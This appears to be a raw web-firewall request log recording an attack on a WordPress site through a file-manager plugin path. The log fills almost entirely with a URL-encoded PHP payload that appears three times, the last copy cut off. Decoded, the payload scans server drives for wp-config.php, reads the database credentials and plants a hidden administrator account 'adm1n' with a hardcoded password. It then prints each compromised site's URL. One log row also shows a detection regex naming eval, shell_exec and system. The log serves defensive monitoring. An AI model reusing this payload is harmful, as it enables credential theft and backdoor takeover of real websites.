D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:23:18","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xc:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nXc=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%2